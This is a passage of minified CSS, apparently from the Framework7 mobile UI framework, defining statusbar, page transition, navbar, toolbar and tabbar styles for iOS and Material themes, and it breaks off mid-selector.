a.color-black{color:#000}.statusbar{position:absolute;left:0;top:0;width:100%;z-index:10000;-webkit-box-sizing:border-box;box-sizing:border-box;display:none}html.device-ios .statusbar,html.ios:not(.device-ios):not(.device-android) .statusbar{height:20px}html.device-android .statusbar,html.md:not(.device-ios):not(.device-android) .statusbar{height:24px}html.device-ios.device-iphone-x .statusbar{height:constant(safe-area-inset-top);height:env(safe-area-inset-top)}html.with-statusbar .statusbar{display:block}html.with-statusbar.device-ios .framework7-root,html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root{padding-top:20px}html.with-statusbar.device-android .framework7-root,html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root{padding-top:24px}html.with-statusbar.device-iphone-x .framework7-root{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.ios .statusbar{background:#f7f7f8}.ios .theme-dark .statusbar{background-color:#1b1b1b}.md .statusbar{background:#0a6ebd}.md .color-theme-red .statusbar{background:#d2190b}.md .color-theme-green .statusbar{background:#357a38}.md .color-theme-blue .statusbar{background:#0a6ebd}.md .color-theme-pink .statusbar{background:#aa1145}.md .color-theme-yellow .statusbar{background:#eed500}.md .color-theme-orange .statusbar{background:#b36a00}.md .color-theme-gray .statusbar{background:#787878}.md .color-theme-white .statusbar{background:#d9d9d9}.md .color-theme-black .statusbar{background:#000}.view,.views{position:relative;height:100%;z-index:5000;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.pages{position:relative;width:100%;height:100%;overflow:hidden}.page{-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.page.stacked{display:none}.page-previous{pointer-events:none}.page-content{overflow:auto;-webkit-overflow-scrolling:touch;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%;position:relative;z-index:1}.ios .page-shadow-effect{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;left:100%;background:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%)}.ios .page-opacity-effect{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000}.ios .router-dynamic-navbar-inside .page-opacity-effect,.ios .router-dynamic-navbar-inside .page-shadow-effect{top:44px}.ios .page{background:#efeff4}.ios .page-previous{-webkit-transform:translate3d(20%,0,0);transform:translate3d(20%,0,0)}.ios .page-next{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ios .page-previous .page-opacity-effect{opacity:1}.ios .page-previous:after{opacity:1}.ios .page-current .page-shadow-effect{opacity:1}.ios .page-transitioning,.ios .page-transitioning .page-opacity-effect,.ios .page-transitioning .page-shadow-effect{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .router-transition-backward .page-current,.ios .router-transition-backward .page-next,.ios .router-transition-backward .page-previous:not(.stacked),.ios .router-transition-forward .page-current,.ios .router-transition-forward .page-next,.ios .router-transition-forward .page-previous:not(.stacked){pointer-events:none}.ios .router-transition-css-forward .page-next{-webkit-animation:ios-page-next-to-current .4s forwards;animation:ios-page-next-to-current .4s forwards}.ios .router-transition-css-forward .page-next:before{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;left:100%;background:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);-webkit-animation:ios-page-next-to-current-shadow .4s forwards;animation:ios-page-next-to-current-shadow .4s forwards}.ios .router-transition-css-forward .page-current{-webkit-animation:ios-page-current-to-previous .4s forwards;animation:ios-page-current-to-previous .4s forwards}.ios .router-transition-css-forward .page-current:after{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000;-webkit-animation:ios-page-current-to-previous-opacity .4s forwards;animation:ios-page-current-to-previous-opacity .4s forwards}.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-current:after,.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-next:before{top:44px}.ios .router-transition-css-backward .page-current,.ios .router-transition-css-backward .page-previous{pointer-events:none}.ios .router-transition-css-backward .page-previous{-webkit-animation:ios-page-previous-to-current .4s forwards;animation:ios-page-previous-to-current .4s forwards}.ios .router-transition-css-backward .page-previous:after{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000;-webkit-animation:ios-page-previous-to-current-opacity .4s forwards;animation:ios-page-previous-to-current-opacity .4s forwards}.ios .router-transition-css-backward .page-current{-webkit-animation:ios-page-current-to-next .4s forwards;animation:ios-page-current-to-next .4s forwards}.ios .router-transition-css-backward .page-current:before{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;left:100%;background:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);-webkit-animation:ios-page-current-to-next-shadow .4s forwards;animation:ios-page-current-to-next-shadow .4s forwards}.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-current:before,.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-previous:after{top:44px}.ios .theme-dark .page,.page.ios .theme-dark{background:#171717}@-webkit-keyframes ios-page-next-to-current{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes ios-page-next-to-current{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes ios-page-previous-to-current{from{-webkit-transform:translate3d(20%,0,0);transform:translate3d(20%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes ios-page-previous-to-current{from{-webkit-transform:translate3d(20%,0,0);transform:translate3d(20%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes ios-page-current-to-previous{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(20%,0,0);transform:translate3d(20%,0,0)}}@keyframes ios-page-current-to-previous{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(20%,0,0);transform:translate3d(20%,0,0)}}@-webkit-keyframes ios-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes ios-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@-webkit-keyframes ios-page-next-to-current-shadow{from{opacity:0}to{opacity:1}}@keyframes ios-page-next-to-current-shadow{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-page-previous-to-current-opacity{from{opacity:1}to{opacity:0}}@keyframes ios-page-previous-to-current-opacity{from{opacity:1}to{opacity:0}}@-webkit-keyframes ios-page-current-to-previous-opacity{from{opacity:0}to{opacity:1}}@keyframes ios-page-current-to-previous-opacity{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-page-current-to-next-shadow{from{opacity:1}to{opacity:0}}@keyframes ios-page-current-to-next-shadow{from{opacity:1}to{opacity:0}}.md .page-shadow-effect{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;left:100%;background:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%)}.md .page-opacity-effect{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000}.md .page{background:#fff}.md .page-next{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0;pointer-events:none}.md .page-next.page-next-on-right{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.md .page-transitioning,.md .page-transitioning .page-opacity-effect,.md .page-transitioning .page-shadow-effect{-webkit-transition-duration:250ms;transition-duration:250ms}.md .page-transitioning-swipeback,.md .page-transitioning-swipeback .page-opacity-effect,.md .page-transitioning-swipeback .page-shadow-effect{-webkit-transition-duration:.4s;transition-duration:.4s}.md .router-transition-backward .page,.md .router-transition-forward .page{pointer-events:none}.md .router-transition-css-forward .page-next{-webkit-animation:md-page-next-to-current 250ms forwards;animation:md-page-next-to-current 250ms forwards}.md .router-transition-css-forward .page-current{-webkit-animation:none;animation:none}.md .router-transition-css-backward .page-current{-webkit-animation:md-page-current-to-next 250ms forwards;animation:md-page-current-to-next 250ms forwards}.md .router-transition-css-backward .page-previous{-webkit-animation:none;animation:none}.md .theme-dark .page,.page.md .theme-dark{background:#171717}@-webkit-keyframes md-page-next-to-current{from{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes md-page-next-to-current{from{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@-webkit-keyframes md-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}to{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}}@keyframes md-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}to{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}}.link,.tab-link{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:1}.ios .link{-webkit-transition:opacity .3s;transition:opacity .3s}.ios .link i+i,.ios .link i+span,.ios .link span+i,.ios .link span+span{margin-right:7px}.ios .link.active-state{opacity:.3;-webkit-transition-duration:0s;transition-duration:0s}.md .link i+i,.md .link i+span,.md .link span+i,.md .link span+span{margin-right:8px}.navbar{position:relative;left:0;top:0;width:100%;z-index:500;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar b{font-weight:500}.navbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.navbar .left,.navbar .right,.navbar .title{position:relative;z-index:1}.navbar .title{text-align:center;position:relative;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;font-weight:500;display:inline-block}.navbar .subtitle{display:block}.navbar .left,.navbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar .right:first-child{position:absolute;height:100%}.navbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.navbar-inner.stacked{display:none}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.ios .navbar{height:44px;font-size:17px;background:#f7f7f8}.ios .navbar.no-hairline:after{display:none!important}.ios .navbar:after{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ios .navbar a.link{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;line-height:44px;height:44px}.ios .navbar a.icon-only{width:44px;margin:0;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .navbar .title{font-size:17px;margin:0;line-height:1.2}.ios .navbar .subtitle{color:#6d6d72;line-height:1;font-size:10px;text-align:center;font-weight:400}.ios .navbar .left a+a,.ios .navbar .right a+a{margin-right:15px}.ios .navbar .title,.ios .navbar b{font-weight:600}.ios .navbar .left{margin-left:10px}.ios .navbar .right{margin-right:10px}.ios .navbar .right:first-child{left:8px}.ios .navbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .navbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .navbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .navbar-inner{-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:0 8px}.ios .navbar~.page-content,.ios .navbar~:not(.no-navbar) .page-content{padding-top:44px}.ios .navbar-previous{pointer-events:none}.ios .navbar-previous .fading,.ios .navbar-previous .left,.ios .navbar-previous .right,.ios .navbar-previous .subnavbar,.ios .navbar-previous>.title{opacity:0}.ios .navbar-previous .sliding{opacity:0}.ios .navbar-previous .subnavbar.sliding,.ios .navbar-previous.sliding .subnavbar{opacity:1;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ios .navbar-next{pointer-events:none}.ios .navbar-next .fading,.ios .navbar-next .left,.ios .navbar-next .right,.ios .navbar-next .subnavbar,.ios .navbar-next>.title{opacity:0}.ios .navbar-next .sliding{opacity:0}.ios .navbar-next.sliding .left,.ios .navbar-next.sliding .right,.ios .navbar-next.sliding .subnavbar,.ios .navbar-next.sliding>.title{opacity:0}.ios .navbar-next .subnavbar.sliding,.ios .navbar-next.sliding .subnavbar{opacity:1;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ios .navbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .navbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ios .router-transition-css-backward .navbar-current .left,.ios .router-transition-css-backward .navbar-current .right,.ios .router-transition-css-backward .navbar-current .subnavbar,.ios .router-transition-css-backward .navbar-current>.title,.ios .router-transition-css-forward .navbar-current .left,.ios .router-transition-css-forward .navbar-current .right,.ios .router-transition-css-forward .navbar-current .subnavbar,.ios .router-transition-css-forward .navbar-current>.title{-webkit-animation:ios-navbar-element-fade-out .4s forwards;animation:ios-navbar-element-fade-out .4s forwards}.ios .router-transition-css-backward .navbar-current .left.sliding .icon,.ios .router-transition-css-backward .navbar-current .sliding,.ios .router-transition-css-backward .navbar-current.sliding .left,.ios .router-transition-css-backward .navbar-current.sliding .left .icon,.ios .router-transition-css-backward .navbar-current.sliding .right,.ios .router-transition-css-backward .navbar-current.sliding>.title,.ios .router-transition-css-forward .navbar-current .left.sliding .icon,.ios .router-transition-css-forward .navbar-current .sliding,.ios .router-transition-css-forward .navbar-current.sliding .left,.ios .router-transition-css-forward .navbar-current.sliding .left .icon,.ios .router-transition-css-forward .navbar-current.sliding .right,.ios .router-transition-css-forward .navbar-current.sliding>.title{-webkit-transition-duration:.4s;transition-duration:.4s;opacity:0!important;-webkit-animation:none;animation:none}.ios .router-transition-css-backward .navbar-current .sliding.subnavbar,.ios .router-transition-css-backward .navbar-current.sliding .subnavbar,.ios .router-transition-css-forward .navbar-current .sliding.subnavbar,.ios .router-transition-css-forward .navbar-current.sliding .subnavbar{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-animation:none;animation:none;opacity:1}.ios .router-transition-css-backward .navbar-previous .left,.ios .router-transition-css-backward .navbar-previous .right,.ios .router-transition-css-backward .navbar-previous .subnavbar,.ios .router-transition-css-backward .navbar-previous>.title,.ios .router-transition-css-forward .navbar-next .left,.ios .router-transition-css-forward .navbar-next .right,.ios .router-transition-css-forward .navbar-next .subnavbar,.ios .router-transition-css-forward .navbar-next>.title{-webkit-animation:ios-navbar-element-fade-in .4s forwards;animation:ios-navbar-element-fade-in .4s forwards}.ios .router-transition-css-backward .navbar-previous .left.sliding .icon,.ios .router-transition-css-backward .navbar-previous .sliding,.ios .router-transition-css-backward .navbar-previous.sliding .left,.ios .router-transition-css-backward .navbar-previous.sliding .left .icon,.ios .router-transition-css-backward .navbar-previous.sliding .right,.ios .router-transition-css-backward .navbar-previous.sliding .subnavbar,.ios .router-transition-css-backward .navbar-previous.sliding>.title,.ios .router-transition-css-forward .navbar-next .left.sliding .icon,.ios .router-transition-css-forward .navbar-next .sliding,.ios .router-transition-css-forward .navbar-next.sliding .left,.ios .router-transition-css-forward .navbar-next.sliding .left .icon,.ios .router-transition-css-forward .navbar-next.sliding .right,.ios .router-transition-css-forward .navbar-next.sliding .subnavbar,.ios .router-transition-css-forward .navbar-next.sliding>.title{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-animation:none;animation:none;-webkit-transform:translate3d(0,0,0)!important;transform:translate3d(0,0,0)!important;opacity:1!important}.ios .theme-dark .navbar,.navbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .navbar:after,.navbar.ios .theme-dark:after{background-color:#282829}.ios .theme-dark .navbar .subtitle,.navbar.ios .theme-dark .subtitle{color:#8e8e93}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .navbar-inner,.ios.device-iphone-x .ios-left-edge .navbar-inner,.ios.device-iphone-x .panel-left .navbar-inner,.ios.device-iphone-x .popup .navbar-inner,.ios.device-iphone-x .sheet-modal .navbar-inner{padding-left:calc(8px + constant(safe-area-inset-right));padding-left:calc(8px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .navbar-inner,.ios.device-iphone-x .ios-right-edge .navbar-inner,.ios.device-iphone-x .panel-right .navbar-inner,.ios.device-iphone-x .popup .navbar-inner,.ios.device-iphone-x .sheet-modal .navbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}@-webkit-keyframes ios-navbar-element-fade-in{from{opacity:0}to{opacity:1}}@keyframes ios-navbar-element-fade-in{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-navbar-element-fade-out{from{opacity:1}to{opacity:0}}@keyframes ios-navbar-element-fade-out{from{opacity:1}to{opacity:0}}.md .navbar{height:56px;background:#2196f3;color:#fff;font-size:20px}.md .navbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .navbar.no-shadow:after{display:none}.md .navbar a{color:inherit}.md .navbar a.link{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px;min-width:48px;height:56px;line-height:56px}.md .navbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .navbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .navbar a.icon-only{min-width:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .navbar .title{margin:0 16px;line-height:1.2;text-align:left}.md .navbar .subtitle{line-height:1.2;font-size:14px;font-weight:400;color:rgba(255,255,255,.85)}.md .navbar .right{margin-right:auto}.md .navbar .right:first-child{left:16px}.md .navbar-inner{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;overflow:hidden}.md .page-with-subnavbar .navbar-inner{overflow:visible}.md .navbar~* .page-content,.md .navbar~.page-content{padding-top:56px}@media (min-width:768px){.md .navbar{height:64px}.md .navbar a.link{height:64px;line-height:64px}.md .navbar~* .page-content,.md .navbar~.page-content{padding-top:64px}}.md .navbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.md .navbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.md .navbar-hidden:after{display:none}.md .color-theme-red .navbar,.md .color-theme-red.navbar{background:#f44336}.md .color-theme-green .navbar,.md .color-theme-green.navbar{background:#4caf50}.md .color-theme-blue .navbar,.md .color-theme-blue.navbar{background:#2196f3}.md .color-theme-pink .navbar,.md .color-theme-pink.navbar{background:#e91e63}.md .color-theme-yellow .navbar,.md .color-theme-yellow.navbar{background:#ffeb3b}.md .color-theme-orange .navbar,.md .color-theme-orange.navbar{background:#ff9800}.md .color-theme-gray .navbar,.md .color-theme-gray.navbar{background:#9e9e9e}.md .color-theme-white .navbar,.md .color-theme-white.navbar{background:#fff}.md .color-theme-black .navbar,.md .color-theme-black.navbar{background:#000}.md .navbar.color-red{background:#f44336}.md .navbar.color-green{background:#4caf50}.md .navbar.color-blue{background:#2196f3}.md .navbar.color-pink{background:#e91e63}.md .navbar.color-yellow{background:#ffeb3b}.md .navbar.color-orange{background:#ff9800}.md .navbar.color-gray{background:#9e9e9e}.md .navbar.color-white{background:#fff}.md .navbar.color-black{background:#000}@media (orientation:landscape){.md.device-iphone-x .ios-edges .navbar-inner,.md.device-iphone-x .ios-left-edge .navbar-inner,.md.device-iphone-x .panel-left .navbar-inner,.md.device-iphone-x .popup .navbar-inner,.md.device-iphone-x .sheet-modal .navbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .navbar-inner,.md.device-iphone-x .ios-right-edge .navbar-inner,.md.device-iphone-x .panel-right .navbar-inner,.md.device-iphone-x .popup .navbar-inner,.md.device-iphone-x .sheet-modal .navbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.toolbar{width:100%;position:relative;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;left:0}.toolbar b{font-weight:500}.toolbar a{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;white-space:nowrap;text-overflow:ellipsis}.toolbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.toolbar i.icon{display:block}.toolbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.views>.tabbar,.views>.tabbar-labels{z-index:5001}.tabbar a.link,.tabbar-labels a.link{line-height:1.4}.tabbar a.link,.tabbar a.tab-link,.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.tabbar-labels a.link .tabbar-label,.tabbar-labels a.tab-link .tabbar-label{display:block;line-height:1;margin:0;position:relative;text-overflow:ellipsis;white-space:nowrap}.tabbar-scrollable .toolbar-inner{overflow:auto;-webkit-overflow-scrolling:touch}.tabbar-scrollable .toolbar-inner::-webkit-scrollbar{display:none!important;width:0!important;height:0!important;-webkit-appearance:none;opacity:0!important}.tabbar-scrollable a.link,.tabbar-scrollable a.tab-link{width:auto;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.page>.toolbar,.view>.toolbar,.views>.toolbar{position:absolute}.ios .toolbar{height:44px;font-size:17px;background:#f7f7f8;bottom:0}.ios .toolbar:after{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ios .toolbar a.link{line-height:44px;height:44px}.ios .toolbar a.link i+i,.ios .toolbar a.link i+span,.ios .toolbar a.link span+i,.ios .toolbar a.link span+span{margin-right:7px}.ios .toolbar a.icon-only{min-height:44px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0;min-width:44px}.ios .toolbar b{font-weight:600}.ios .toolbar.no-hairline:before{display:none!important}.ios .toolbar:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .toolbar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .toolbar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .toolbar-inner{padding:0 8px}.ios .tabbar,.ios .tabbar-labels{color:#929292}.ios .tabbar a,.ios .tabbar-labels a{color:#929292}.ios .tabbar a.tab-link-active,.ios .tabbar-labels a.tab-link-active{color:#007aff}.ios .tabbar i.icon,.ios .tabbar-labels i.icon{height:30px}.ios .tabbar-labels{height:50px}.ios .tabbar-labels a.link,.ios .tabbar-labels a.tab-link{padding-top:4px;padding-bottom:4px}.ios .tabbar-labels a.link i+span,.ios .tabbar-labels a.tab-link i+span{margin:0}.ios .tabbar-labels .tabbar-label{letter-spacing:.01em;font-size:10px}@media (min-width:768px){.ios .tabbar .toolbar-inner,.ios .tabbar-labels .toolbar-inner{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .tabbar a.link,.ios .tabbar a.tab-link,.ios .tabbar-labels a.link,.ios .tabbar-labels a.tab-link{width:auto;min-width:105px}.ios .tabbar-labels{height:56px}.ios .tabbar-labels .tabbar-label{font-size:14px}}.ios .tabbar-scrollable .toolbar-inner{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .tabbar-scrollable a.link,.ios .tabbar-scrollable a.tab-link{padding:0 8px}.ios .toolbar~* .page-content,.ios .toolbar~.page-content{padding-bottom:44px}.ios .tabbar-labels~* .page-content,.ios .tabbar-labels~.page-content{padding-bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .page-content,.ios .tabbar-labels~.page-content{padding-bottom:56px}}.ios .toolbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .toolbar-hidden{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ios .theme-dark .toolbar,.toolbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .toolbar:before,.toolbar.ios .theme-dark:before{background-color:#282829}.ios .color-theme-red .tabbar a.tab-link-active,.ios .color-theme-red 